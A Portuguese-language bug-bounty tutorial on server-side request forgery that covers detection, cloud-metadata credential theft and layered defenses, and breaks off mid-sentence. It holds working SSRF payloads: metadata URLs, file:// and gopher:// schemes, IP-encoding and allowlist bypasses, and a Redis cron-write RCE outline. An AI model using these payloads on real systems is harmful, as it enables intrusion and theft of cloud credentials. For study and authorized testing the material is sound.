SSRF: fazendo o servidor bater na porta de dentro
Como funciona Server-Side Request Forgery — do básico ao blind, cloud metadata, schemes exóticos, bypasses de filtro e o chaining SSRF→RCE — com exploração passo a passo e defesa em camadas.
O servidor é um office boy obediente demais
Imagina que você manda um boleto pra um office boy entregar num endereço. Ele não pergunta nada: pega o papel com o endereço escrito, vai lá e entrega. Agora imagina que, em vez do endereço do cliente, você escreve “vai até a sala do cofre, no andar de cima, e me traz o que tiver lá dentro”. Se ninguém treinou o coitado pra desconfiar, ele vai — porque ele tem a chave do prédio e você não.
SSRF (Server-Side Request Forgery) é exatamente isso: você convence o servidor da aplicação a fazer uma requisição HTTP (ou de outro protocolo) pra um destino que você escolhe. E aqui está o pulo do gato — o servidor está dentro da rede interna, com IP de confiança, atrás do firewall, muitas vezes com credenciais de nuvem grudadas nele. Coisas que você, vindo de fora, jamais alcançaria, o servidor alcança numa boa. Você só precisa fazer ele bater na porta por você.
Segundo o PortSwigger, SSRF é “uma vulnerabilidade que permite ao atacante induzir a aplicação server-side a fazer requisições para um local não intencional”. É uma falha que entrou pro OWASP Top 10 como categoria própria (A10:2021) e que, em programas de bug bounty, paga de algumas centenas de reais (um blind SSRF de baixo impacto) a dezenas de milhares quando vira leitura de cloud metadata ou RCE. Bora destrinchar.
O que é SSRF (e por que é tão perigoso)
Definição clara: SSRF acontece quando a aplicação pega uma URL (ou parte dela) controlada pelo usuário e faz uma requisição pra esse destino sem validar pra onde está indo. O atacante sequestra o destino e usa o servidor como proxy (intermediário que faz a requisição no seu lugar — detalhe no Glossário) pra alcançar coisas que estão fora do seu alcance.
Analogia que cola: SSRF é “discar pelo telefone da empresa”. De casa, você liga pro ramal interno do RH e cai na secretária eletrônica externa. Mas se você convencer a recepcionista (o servidor) a transferir a ligação, ela disca o ramal interno de dentro da central — e aí você fala direto com o RH, o financeiro, a sala de servidores. A rede interna confia em quem liga de dentro.
Por que isso é tão perigoso? Porque a maioria das defesas de rede assume um modelo de “castelo e fosso”: tudo que vem de fora é hostil e barrado; tudo que está dentro é amigo. O servidor da aplicação está dentro. Então, com SSRF, você fura essa lógica inteira:
- Alcança serviços internos que não têm autenticação porque “só a rede interna fala com eles” (bancos de dados, filas, painéis admin, Elasticsearch, Redis).
- Lê o endpoint de metadata da nuvem (
169.254.169.254) e rouba credenciais temporárias da máquina — o jackpot. - Faz port scan da rede interna usando o servidor como sonda.
- Em casos extremos, transforma a requisição em execução de comando (o famoso chaining SSRF→RCE com
gopher://+ Redis).
Onde costuma aparecer? Em qualquer funcionalidade que busca uma URL pra você: webhooks, importação de imagem por URL, geradores de PDF/screenshot a partir de link, validadores de URL, integrações (“conecte sua conta”), pré-visualização de link (aquele card que aparece quando você cola um link no chat), conversores de documento, proxies de imagem, e o clássico ?url=.
Por que isso importa (e quanto paga)
💡 IAM (Identity and Access Management): serviço de identidades/permissões na nuvem; a “role” é a identidade com permissões atribuída à máquina.
O impacto do SSRF varia muito — e é justamente o impacto que define o cheque. Em ordem crescente:
| Cenário | Impacto | Faixa típica de bounty |
|---|---|---|
| Blind SSRF (só confirma saída DNS/HTTP, sem ler resposta) | Baixo/Médio | R$200 – R$1.500 |
| SSRF “full read” alcançando serviço interno / painel sem auth | Médio/Alto | R$1.500 – R$8.000 |
| SSRF → cloud metadata (rouba credencial IAM/token) | Crítico | R$8.000 – R$30.000+ |
| SSRF → RCE (gopher+Redis, deserialização, etc.) | Crítico | dezenas de milhares |
⚠️ O salto de valor está no que você consegue alcançar. Um blind SSRF “pelado” paga pouco. O mesmo SSRF que chega no
169.254.169.254e devolve uma credencial AWS vira crítico num piscar de olhos. Por isso, achar o SSRF é metade do trabalho; a outra metade é escalar o alvo interno.
Pra falar a língua do triador, leve um CVSS junto (sempre o v3.1, que ainda é o que a maioria dos programas usa; o v4.0 vem ganhando espaço — então cito os dois). Dois âncoras úteis:
| Cenário | CVSS v3.1 | CVSS v4.0 |
|---|---|---|
| Blind SSRF (só confirma saída, lê só sinal de baixa sensibilidade) | 4.3 Médio — AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N | Médio — AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N |
| SSRF (autenticado) lendo IMDS e roubando credencial IAM | 8.5 Alto — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N | Crítico — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N |
💡 O CVSS-base do SSRF “puro” costuma travar em Alto; é o chaining (a credencial roubada vira takeover da conta AWS, ou o gopher+Redis vira RCE) que empurra o risco real pro topo do Crítico. Reporte o score-base honesto e descreva o impacto encadeado em texto — não infle o número. Os decimais do v3.1 acima foram conferidos na calculadora oficial do FIRST; para o decimal exato do v4.0, rode o vetor na calculadora v4.0 (a escala do v4.0 não é linear). Ajuste
PR(Nse o endpoint for não autenticado — aí o score sobe) conforme o alvo.
Na hora de reportar, foque o impacto no negócio: “qualquer usuário consegue ler serviços internos / obter credenciais de nuvem da aplicação”. (Como montar isso direito, veja o post Como escrever um report que paga, e pra calibrar a severidade, o Severidade & Impacto.)
Como funciona por trás
A raiz é sempre a mesma: o servidor confia numa URL que veio do cliente e faz a requisição sem checar o destino. Olha o fluxo vulnerável típico — uma funcionalidade de “importar imagem por URL”:
1
2
3
4
5
6
POST /api/perfil/avatar-por-url HTTP/2
Host: app.exemplo.com
Authorization: Bearer <seu_token>
Content-Type: application/json
{"imageUrl": "https://i.imgur.com/foto.png"} # <- o destino é seu pra escolher
1
2
3
4
// Backend VULNERÁVEL — busca QUALQUER URL que o cliente mandar
$url = $_POST['imageUrl'];
$conteudo = file_get_contents($url); // <- aqui mora o SSRF: zero validação de destino
salvarAvatar($conteudo);
O file_get_contents() (ou curl, requests.get(), fetch()…) não tem a menor ideia de que https://i.imgur.com/foto.png deveria ser um destino “de imagem externa”. Pra ele, qualquer string é uma URL válida. Então se eu trocar por:
1
{"imageUrl": "http://169.254.169.254/latest/meta-data/"}
…o servidor vai, obedientemente, buscar o endpoint de metadata da própria nuvem a partir de dentro e me devolver (ou agir sobre) o conteúdo. Eu, de fora, jamais conseguiria acessar 169.254.169.254 — esse IP só responde de dentro da instância. O servidor é minha ponte.
O ponto-chave conceitual: a confiança que a rede deposita no servidor passa a ser sua. É herança de privilégio.
Tipos e variações
Basic (in-band) SSRF — você lê a resposta
A aplicação te devolve o conteúdo que ela buscou. É o melhor cenário pro atacante: você manda http://localhost/admin, e o painel admin volta na resposta. Dá pra ler metadata, ler serviços internos, fazer port scan vendo o tempo/erro de resposta.
Blind SSRF — você NÃO lê a resposta
A aplicação faz a requisição, mas não te mostra o resultado (ex.: um webhook que dispara em background, ou um pingback). Você sabe que disparou porque monitora a chegada num servidor seu. O PortSwigger define como o caso em que “a aplicação pode ser induzida a fazer uma requisição HTTP de back-end pra uma URL fornecida, mas a resposta não é retornada no front-end”. Detecta-se com OAST (Out-of-band Application Security Testing: você usa um servidor seu como “isca” e confirma o bug pelo tráfego que chega nele por fora da resposta da app) — falaremos disso no recon.
Semi-blind
Você não vê o corpo, mas vê sinais: tempo de resposta, código HTTP, tamanho, mensagens de erro distintas. Dá pra inferir “essa porta interna está aberta” vs “fechada” mesmo sem ler o conteúdo.
| Tipo | Lê a resposta? | Como confirma | Impacto base |
|---|---|---|---|
| Basic / in-band | Sim | Conteúdo interno aparece na resposta | Alto |
| Semi-blind | Parcial | Tempo/status/tamanho/erro diferentes | Médio |
| Blind | Não | Interação OAST (DNS/HTTP no seu servidor) | Baixo/Médio |
Recon — como encontrar
Onde caçar
Procure toda funcionalidade que pega uma URL e vai buscar algo:
- Parâmetros óbvios:
url,uri,link,src,dest,redirect,target,domain,callback,webhook,feed,host,to,out,path,continue,image,imageUrl,file,document,proxy. - Funcionalidades: importar por URL, gerar PDF/thumbnail/screenshot de um link, “preview” de link, validador de URL, integrações via webhook, conectores, parsers de XML (XXE pode virar SSRF), SAML/SSO.
- Headers que viram destino: às vezes o servidor segue o
Refererou um header customizado. - WordPress com
xmlrpc.phphabilitado: blind SSRF “de prateleira” viapingback.ping(detalhe no Nível 1). Fingerprint de WP antigo é forte indício de que o pingback segue exposto.
1
2
# Caçar parâmetros tipo URL nos JS e na superfície (já vimos essas ferramentas no post 01-recon-discovery.md)
echo "https://alvo.com" | gau | grep -Ei '(\?|&)(url|uri|link|src|dest|redirect|target|callback|webhook|feed|image|file)=' | sort -u
gau(GetAllURLs) coleta URLs históricas de fontes públicas (Wayback, Common Crawl). Ogrepfiltra só os parâmetros que cheiram a “destino”. Se você ainda não conhece essas ferramentas, o post Recon & Discovery apresenta todas.
A ferramenta-chave: um servidor OAST
Pra blind SSRF, você precisa de um endpoint externo que registre quem bate nele. Opções:
- Burp Collaborator (no Burp Suite Pro) — gera um subdomínio único (ex.:
xyz.oastify.com) e mostra cada interação DNS e HTTP que chega. É o padrão da indústria. - interactsh (open source, do ProjectDiscovery) — alternativa gratuita; roda
interactsh-cliente te dá um domínio pra usar. - Um
nc -lvnp 80num VPS seu, ou serviços tipo webhook.site (cuidado com dados sensíveis em serviços públicos).
A lógica: você coloca a URL do Collaborator no parâmetro suspeito. Se chegar uma interação DNS ou HTTP, o servidor saiu pra buscar → SSRF confirmado.
💡 DNS vs HTTP: é comuníssimo o servidor fazer a resolução DNS do seu domínio mas o firewall barrar a saída HTTP. Se você vê só o DNS chegando, ainda é SSRF (a aplicação tentou), mas o impacto pode ser limitado. Vale registrar os dois.
Exploração passo a passo (do básico ao avançado)
Nível 1 — Confirmar com OAST (blind)
Comece sempre confirmando que existe uma requisição de saída. Coloque seu domínio Collaborator no parâmetro:
1
2
3
4
5
POST /api/perfil/avatar-por-url HTTP/2
Host: app.exemplo.com
Content-Type: application/json
{"imageUrl": "http://abc123.oastify.com/x"} # <- seu domínio OAST
Olha o Collaborator. Chegou DNS + HTTP? SSRF confirmado. Agora é hora de escalar o alvo interno.
Atalho: blind SSRF “de prateleira” no WordPress (xmlrpc.php → pingback.ping)
Se o alvo roda WordPress com o xmlrpc.php habilitado (o que é comuníssimo, principalmente em versões antigas — um fingerprint de WP desatualizado já é forte indício de que o pingback segue exposto), você tem um blind SSRF pronto, sem precisar de um parâmetro ?url=. O método pingback.ping foi feito pra notificar outro blog que você o linkou — e, pra “verificar” esse link, o servidor faz uma requisição de saída pro endereço que você mandar. É SSRF por design.
1
2
3
4
5
6
7
8
9
10
11
12
POST /xmlrpc.php HTTP/2
Host: alvo.com
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://abc123.oastify.com/</string></value></param> <!-- 1º: SEU OAST (de onde "veio" o pingback) -->
<param><value><string>https://alvo.com/?p=1</string></value></param> <!-- 2º: um post válido do alvo -->
</params>
</methodCall>
A resposta costuma vir 200 OK com um methodResponse/faultCode (ex.: faultCode 0, ou um fault de “pingback already registered”) — e no Collaborator chega o GET de saída com User-Agent: WordPress/<versão> e a mensagem “verifying pingback from”. É a confirmação do blind SSRF.
💡 Bypass do filtro de path: se um WAF/regra bloqueia o acesso direto a
/xmlrpc.php, dá pra tentar reescrever o caminho por header — alguns back-ends honram oX-Rewrite-Url:
1 2 3 POST /xmlrpc HTTP/2 Host: alvo.com X-Rewrite-Url: xmlrpc.phpOs mesmos headers de reescrita (
X-Rewrite-Url: wp-json/v2/users,X-Rewrite-Url: wp-login.php) servem pra alcançar outras rotas WP filtradas — vale ter no bolso.
O impacto desse vetor costuma ser baixo (blind, sem leitura da resposta), mas ainda paga — programas reais já recompensaram o pingback do WordPress justamente porque, mesmo cego, ele comprova requisição de saída controlada pelo atacante. Como transformar isso em algo “vendável”, veja logo abaixo.
Como justificar o impacto de um blind SSRF pro triador
Blind SSRF é difícil de “vender” — o triador olha e pensa “e daí que o servidor resolveu meu domínio?”. O que funciona na prática:
- Aponte o potencial de port scan interno: a partir do servidor (que está dentro da rede), o mesmo vetor pode mirar
http://127.0.0.1:PORTA/ehttp://10.x.x.x:PORTA/. Você não precisa varrer tudo — basta demonstrar que o destino é controlável e que ele alcança a rede interna. - Comprove porta aberta vs. fechada pelo timing: quando não há leitura da resposta, a diferença de tempo entre uma porta aberta (responde/handshake rápido) e uma fechada (timeout/RST) já é evidência de que o servidor está conectando em destinos internos seus. É o degrau que tira o bug do “meramente cego” e mostra alcance.
- Some o contexto de negócio: “qualquer um na internet força o servidor a emitir requisições internas” é um risco concreto — e a severidade depende muito da visão da empresa sobre exposição da rede interna.
Nível 2 — Bater em localhost / serviços internos (basic)
Tente alcançar a própria máquina e a rede interna. O exemplo canônico do PortSwigger:
1
2
3
4
5
POST /product/stock HTTP/2
Host: alvo.com
Content-Type: application/x-www-form-urlencoded
stockApi=http://localhost/admin # <- painel que só responde "de dentro"
1
2
3
4
5
# Variações de destino interno pra testar:
http://127.0.0.1/ http://localhost/
http://127.0.0.1:8080/ http://127.0.0.1:6379/ (Redis)
http://192.168.0.68/admin http://10.0.0.1/
http://[::1]/ http://169.254.169.254/ (metadata!)
Se o conteúdo interno voltar na resposta (basic) ou se o tempo/erro mudar (semi-blind), você está dentro da rede.
Nível 3 — Cloud metadata (o jackpot)
💡 TTL (Time To Live): tempo máximo de vida (aqui, do token).
Servidores em nuvem têm um endpoint mágico de metadata num IP link-local (faixa 169.254.x.x, só roteável dentro da própria máquina/rede local — por isso você não alcança de fora) que entrega configuração e — crucialmente — credenciais temporárias da role IAM (a “identidade” com permissões que a nuvem atribui à máquina) atribuída à máquina. Cada provedor tem seu jeito:
AWS — IMDSv1 (legado, sem proteção): basta um GET. Segundo a doc oficial da AWS, se nenhum header especial estiver presente, a requisição é tratada como IMDSv1:
1
2
3
4
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
# devolve o NOME da role, ex.: minha-role-ec2
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/minha-role-ec2
# devolve AccessKeyId, SecretAccessKey e Token (credencial temporária!)
Com imageUrl: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" num SSRF basic, você lê a credencial AWS direto na resposta. Isso é crítico: a partir daí você assume a identidade da máquina na AWS.
💡 IMDSv2: versão 2 do endpoint de metadata da AWS (169.254.169.254), com token de sessão — mais segura que a IMDSv1.
AWS — IMDSv2 (session-oriented, com defesa): a doc da AWS exige um token de sessão obtido via PUT antes de qualquer GET:
1
2
3
4
5
6
# 1) Pega o token (PUT com header de TTL — máximo 21600s = 6h)
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
# 2) Usa o token no GET
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
Repara por que isso mata a maioria dos SSRFs — desde que o IMDSv2 esteja obrigatório (http-tokens=required, veja a Camada 5): um SSRF simples só faz GET, e não consegue (a) mandar um PUT nem (b) adicionar o header X-aws-ec2-metadata-token. Quando o token é exigido, requisições sem token válido (ou expirado) recebem 401 - Unauthorized. Além disso, o PUT é rejeitado se contiver header X-Forwarded-For (típico de proxy) e o hop limit padrão da resposta ao PUT é 1 (não atravessa um proxy/container). É exatamente a “defesa em profundidade contra SSRF” que a AWS pregou ao lançar o v2. Atenção a uma pegadinha: por padrão a instância aceita v1 e v2 — só quando o operador marca http-tokens=required é que o v1 morre e o GET puro deixa de funcionar. Por isso, SSRF que chega no metadata de uma instância só-IMDSv2 muitas vezes não vira nada — a menos que você tenha um gopher:// que monte um PUT com header (raro) ou um SSRF que controle método e headers.
GCP: o endpoint é metadata.google.internal (= 169.254.169.254) e o caminho moderno computeMetadata/v1/ exige o header Metadata-Flavor: Google — o que, igual ao IMDSv2, neutraliza SSRF simples que não controla headers. (Os caminhos legados v0.1/v1beta1, que não exigiam header, foram desligados em 30/09/2020):
1
2
GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Metadata-Flavor: Google # <- sem esse header, o GCP recusa
Azure: endpoint http://169.254.169.254/metadata/instance?api-version=2021-02-01, exige header Metadata: true e o query param api-version. Mesma lógica de defesa por header.
💡 Regra mental: SSRF que só controla a URL (método GET, sem headers) lê IMDSv1 fácil, mas bate na parede no IMDSv2 / GCP / Azure (que exigem PUT ou header). SSRF que controla método e headers (ou via
gopher://) fura tudo. Saber qual tipo você tem decide o impacto.
🔎 Caso real (controlar header fura o GCP): a HAKAI Security documentou um SSRF (via cliente Axios) que conseguia injetar o header
Metadata-Flavor: Google— exatamente o que o GCP exige — e com isso roubou o token da service account na metadata. É o “SSRF que controla headers fura tudo” na vida real. Eles publicaram a ferramentagcp_enumpra enumerar o que dá pra fazer com a credencial.
Nível 4 — Schemes além do HTTP
Nem todo SSRF é http://. Se o cliente HTTP do servidor aceitar outros schemes, o leque abre (lista de bypasses do PayloadsAllTheThings):
| Scheme | Pra que serve | Exemplo |
|---|---|---|
file:// | Ler arquivo local do servidor | file:///etc/passwd |
gopher:// | Mandar bytes crus TCP → falar com Redis, SMTP, etc. | gopher://127.0.0.1:6379/_<comandos> |
dict:// | Sondar serviços / falar protocolo texto | dict://127.0.0.1:11211/stats (Memcached) |
http(s):// | O comum | http://localhost/admin |
O gopher:// é o mais poderoso: ele permite enviar dados arbitrários numa conexão TCP. Como Redis, SMTP e outros serviços usam protocolos baseados em texto/CRLF, dá pra falar a língua deles e mandar comandos — não só “bater na porta”.
Nível 5 — Chaining SSRF → RCE (gopher + Redis)
Esse é o avançado que vira manchete. Cenário: existe um Redis sem senha ouvindo em 127.0.0.1:6379 (comuníssimo, porque “só a localhost acessa”). Com um SSRF que aceite gopher://, você monta uma sequência de comandos Redis que escreve um arquivo — por exemplo, um cron job ou uma webshell — e ganha execução de comando.
A ideia (sem entregar um exploit pronto): o protocolo Redis é texto separado por \r\n (CRLF). O gopher:// deixa você enviar esses bytes crus. Então você codifica algo como CONFIG SET dir /var/spool/cron/, CONFIG SET dbfilename root, um SET com o payload e SAVE — tudo com os CRLF URL-encodados (%0D%0A):
1
gopher://127.0.0.1:6379/_%0D%0A<comando-redis-1>%0D%0A<comando-redis-2>%0D%0A...
Quando o servidor “busca” essa URL, ele abre TCP na 6379 e despeja os comandos como se fosse um cliente Redis legítimo. Resultado: o Redis grava o arquivo, e na próxima execução do cron você tem RCE. Por que funciona? Porque o Redis confia em quem fala com ele pela localhost, e o gopher:// deixou você “ser” esse cliente local. (Pra montar os bytes certos, ferramentas como o Gopherus geram o payload gopher:// pronto pra Redis, MySQL, FastCGI, SMTP, etc.)
Esse é o ápice do “office boy obediente”: você não só fez ele entregar uma carta — você ditou byte a byte o que ele ia falar com o serviço de dentro.
Repara que aqui o SSRF deixa de ser “ler dado interno” e vira execução de comando — é a mesma família do que você viu em RCE & Command Injection / SSTI, só que a porta de entrada foi a requisição forjada. Sempre que um SSRF alcança um serviço text-based sem auth (Redis, Memcached, FastCGI, SMTP), pergunte-se se dá pra escalar pra RCE; e quando isso depende de juntar duas falhas (ex.: SSRF + open redirect pra furar a allowlist, ou SSRF + serviço interno), o playbook está em Chaining de vulnerabilidades.
Nível 6 — Bypasses de filtro
Quando o dev tenta bloquear com uma lista negra (blocklist), quase sempre dá pra furar. O próprio OWASP avisa que blocklists são “propensas a bypass”. Arsenal verificado:
| Técnica | Exemplo (todos = 127.0.0.1) | Por que fura |
|---|---|---|
| Decimal | http://2130706433/ | O parser converte; o filtro procurava “127.0.0.1” literal |
| Octal | http://0177.0.0.1/ | Outra base, mesmo IP |
| Hex | http://0x7f000001/ | Idem |
| Encurtado | http://127.1/ | 127.1 expande pra 127.0.0.1 |
| IPv6 | http://[::1]/ , http://[::ffff:127.0.0.1]/ | Filtro só cobria IPv4 |
0.0.0.0 | http://0.0.0.0:8080/ | Em Linux, fala com a localhost |
| DNS que resolve pra interno | http://localtest.me/ (resolve 127.0.0.1) | O filtro vê um domínio “externo” |
Bypasses de allowlist (quando o filtro quer ver alvo.com na URL):
1
2
3
4
http://alvo.com@169.254.169.254/ # <- "alvo.com" é só o userinfo; o host real é o metadata
http://169.254.169.254#alvo.com # <- o "#alvo.com" é fragmento, ignorado
http://169.254.169.254%2523@alvo.com # double-encode pra confundir o parser
http://alvo.com.attacker.com/ # domínio do atacante que CONTÉM "alvo.com"
Open redirect como ponte: se o filtro só aceita alvo.com, mas existe um open redirect em alvo.com/go?u=..., você aponta o SSRF pra http://alvo.com/go?u=http://169.254.169.254/ e o servidor segue o redirect até o metadata. (Por isso o OWASP manda desabilitar redirects no cliente.)
DNS rebinding: o ataque mais sofisticado contra validação. Você cria um domínio cujo DNS responde IP público na primeira consulta (passa na validação) e 127.0.0.1 na segunda (quando o servidor realmente conecta). Explora a janela de tempo entre “validar” e “conectar” (TOCTOU — time-of-check vs time-of-use). Ferramentas: rebind, singularity (NCC Group).
Caso real-fictício: importação por URL → metadata AWS
Cenário fictício, baseado em padrões reais de programas de bug bounty (anonimizado).
Você testa app.exemplo.com, um SaaS. Há uma função “Importar logo da empresa por URL” no painel. O Burp registra:
1
2
3
4
5
6
POST /api/v1/company/logo/import HTTP/2
Host: app.exemplo.com
Authorization: Bearer <seu_token>
Content-Type: application/json
{"logoUrl": "https://cdn.exemplo.com/logos/acme.png"}
Passo 1 — Confirmar (OAST). Troco pelo Collaborator:
1
{"logoUrl": "http://k7p2.oastify.com/probe"} # <- domínio OAST
No Collaborator chega 1 DNS lookup + 1 HTTP GET /probe com User-Agent: Go-http-client/1.1. SSRF confirmado, e o User-Agent denuncia um backend em Go.
Passo 2 — Mapear destino interno. Testo a metadata da AWS (a função usa GET puro, então só IMDSv1 funcionaria):
1
{"logoUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
1
2
3
4
HTTP/2 200 OK
Content-Type: image/png # <- a app acha que é "logo", mas o corpo é texto
s3-app-readonly-role
A app tentou tratar a resposta como imagem, mas o corpo vazou o nome da role. IMDSv1 está habilitado. Continuo:
1
{"logoUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/s3-app-readonly-role"}
1
2
3
4
5
6
HTTP/2 200 OK
{"AccessKeyId":"AKIAEXAMPLE000000000",
"SecretAccessKey":"REDACTED/exemplo+fic+ticio",
"Token":"IQoJb3...EXEMPLO...",
"Expiration":"2026-05-31T23:59:00Z"}
Credencial temporária da AWS na mão. Com ela, dá pra autenticar na AWS como a instância (aws sts get-caller-identity confirmaria a identidade) e acessar o que a role permitir (no nome, leitura de S3). Impacto: Crítico.
O que a tela do Burp mostraria: painel Request/Response lado a lado; na Response, em vez de bytes de PNG, um JSON com AccessKeyId/SecretAccessKey/Token — destacado o 169.254.169.254 trocado no logoUrl.
Passo 3 — Report. Título [SSRF] - Importação de logo permite ler IMDS e roubar credenciais IAM (169.254.169.254). Severidade Crítica. CVSS do SSRF-base (autenticado, lê a credencial): v3.1 8.5 / Alto (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N) e v4.0 Crítico (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N). O que sobe pra Crítica de fato é o chaining: a credencial IAM roubada permite assumir a identidade da instância na AWS (cloud takeover), então descreva esse impacto subsequente no texto — veja Cloud & AWS Misconfiguration pra explorar a credencial com responsabilidade e Chaining de vulnerabilidades pra encadear o report. PoC: as 3 requests acima, com a credencial mascarada (AKIA..., nunca o valor real). Recomendação: migrar pra IMDSv2 + allowlist de destino. (Detalhes em Como escrever um report que paga.)
⚠️ Ética no PoC: confirme a identidade com
aws sts get-caller-identitye pare. Não liste buckets, não baixe dados, não persista. Provar o acesso já demonstra o impacto — explorar além vira invasão.
Defesa em camadas
A correção real combina validação na aplicação + controle de rede + hardening de nuvem. Nenhuma camada sozinha resolve.
Camada 1 — Nunca busque a URL crua do usuário (allowlist)
O conselho número 1 do OWASP SSRF Cheat Sheet: “não aceite URLs completas do usuário, porque URLs são difíceis de validar e o parser pode ser abusado”. Use allowlist (lista do que é permitido), nunca blocklist.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Python — valida ANTES de buscar: scheme + host na allowlist + IP resolvido é público
import ipaddress, socket
from urllib.parse import urlparse
HOSTS_PERMITIDOS = {"cdn.exemplo.com", "i.imgur.com"}
def url_segura(url: str) -> bool:
p = urlparse(url)
if p.scheme not in ("http", "https"): # 1) só http/https — mata file://, gopher://, dict://
return False
if p.hostname not in HOSTS_PERMITIDOS: # 2) allowlist de host
return False
# 3) resolve o host e confirma que o IP NÃO é privado/loopback/link-local
for info in socket.getaddrinfo(p.hostname, None):
ip = ipaddress.ip_address(info[4][0])
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
return False
return True
O passo 3 é o que pega o DNS rebinding: você resolve o IP e valida o IP. Mas atenção — pra fechar o TOCTOU de verdade, você precisa conectar no mesmo IP que validou (resolver uma vez, passar o IP fixo pro cliente HTTP), senão o atacante troca a resposta DNS entre a validação e a conexão.
1
2
3
4
5
6
7
8
// PHP — bloqueia redirects e ranges internos no cURL
$ch = curl_init($urlValidada);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // <- NÃO siga redirect (mata o open-redirect bypass)
// só http(s) — mata file://, gopher://, dict://. Em cURL >= 7.85 / PHP 8.3+ use a forma nova:
// curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "http,https");
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); // forma clássica (CURLOPT_PROTOCOLS deprecada no cURL 7.85+)
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$resp = curl_exec($ch);
Camada 2 — Desabilite (ou trave) redirects
Como vimos no bypass, um open redirect derruba a allowlist. O OWASP é explícito: “desabilite o seguimento de redirecionamento no seu cliente web pra prevenir o bypass da validação”. Se precisar seguir redirect, revalide o destino final com a mesma allowlist.
Camada 3 — Não devolva a resposta crua pro cliente
Se a app precisa buscar conteúdo externo, não jogue o corpo da resposta de volta pro usuário. Trate (redimensione a imagem, parseie o JSON esperado) e devolva só o resultado. Isso degrada um basic SSRF pra blind — reduz muito o impacto.
Camada 4 — Controle de rede (segmentação)
Defesa que independe do código: a aplicação não deveria ter rota de rede pra 169.254.169.254, nem pros serviços internos que ela não usa.
1
2
3
# Bloquear saída da aplicação pro metadata (exemplo iptables na instância)
iptables -A OUTPUT -d 169.254.169.254 -j DROP # <- a app não fala com o metadata
# + regras de egress permitindo SÓ os destinos legítimos (default deny na saída)
Camada 5 — Hardening de nuvem (IMDSv2 obrigatório)
Force IMDSv2 e bloqueie o v1. Na AWS, exija token de sessão e reduza o hop limit:
1
2
3
4
5
6
# Forçar IMDSv2 (http-tokens=required) e hop limit 1 numa instância existente
aws ec2 modify-instance-metadata-options \
--instance-id i-0exemplo \
--http-tokens required \
--http-put-response-hop-limit 1 \
--http-endpoint enabled
Como vimos, com http-tokens required qualquer GET sem token leva 401, e o SSRF “só-GET” morre ali. No GCP o header Metadata-Flavor: Google já é obrigatório; no Azure, o Metadata: true.
❌ O que NÃO basta: (1) blocklist de
127.0.0.1/localhost— fura com decimal/octal/IPv6/DNS; (2) validar a URL uma vez e conectar depois (DNS rebinding); (3) confiar que “o serviço interno não tem porta exposta” — o servidor alcança a localhost dele; (4) só checar a string sem resolver o IP; (5) seguir redirect “porque é prático”.
Ferramentas + labs legais
- Burp Suite — Repeater (testar destinos), Intruder (varrer portas/IPs internos) e Collaborator (detectar blind SSRF). Extensões: Collaborator Everywhere, SSRF King, taborator.
- interactsh (ProjectDiscovery) — servidor OAST gratuito/open source pra blind SSRF.
- Gopherus — gera payloads
gopher://prontos pra Redis, MySQL, FastCGI, SMTP, Memcached, PostgreSQL. - nuclei — templates prontos de SSRF (inclusive cloud metadata e xmlrpc pingback).
- singularity / rebind — DNS rebinding.
- Labs pra praticar (autorizados): PortSwigger Web Security Academy — SSRF (a melhor fonte gratuita, com labs de basic, blind, filtros e bypasses), DVWA, TryHackMe, HackTheBox, HackingClub.
Checklist do caçador
- Mapeei toda funcionalidade que busca uma URL (
url,webhook, “importar por link”, PDF/screenshot, preview). - Confirmei saída com OAST (Collaborator/interactsh) — registrei DNS e HTTP.
- Se for WordPress, testei o blind SSRF “de prateleira” via
xmlrpc.php→pingback.ping(e o bypassX-Rewrite-Urlse/xmlrpc.phpestiver filtrado). - Testei localhost / rede interna (
127.0.0.1,[::1],192.168.x,10.x, portas comuns). - Testei cloud metadata (
169.254.169.254) — AWS IMDSv1/v2,Metadata-Flavor: Google(GCP),Metadata: true(Azure). - Testei schemes alternativos (
file://,gopher://,dict://) se o cliente aceitar. - Testei bypasses (decimal/octal/hex,
127.1,[::1],@,#, DNS que resolve interno, open redirect). - Verifiquei se controlo método e headers (decide se IMDSv2/GCP/Azure são alcançáveis).
- Avaliei chaining (gopher+Redis → RCE) quando há serviço interno text-based sem auth.
- No PoC, parei na prova (ex.:
sts get-caller-identity) e mascarei credenciais. - Conferi que SSRF está no escopo do programa.
Pegadinhas / o que NÃO funciona
- Só DNS, sem HTTP, no Collaborator: é SSRF (a app resolveu seu domínio), mas pode ter firewall de egress barrando HTTP. Reporte como blind SSRF (tipicamente CVSS v3.1 4.3 / Médio —
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) e tente escalar — não inflacione pra “crítico” sem alcançar nada interno. 169.254.169.254retornando 401/timeout: provavelmente IMDSv2 ativo e seu SSRF só faz GET. Não desista do bug, mas o impacto “metadata” some — foque outros alvos internos.- Achar que
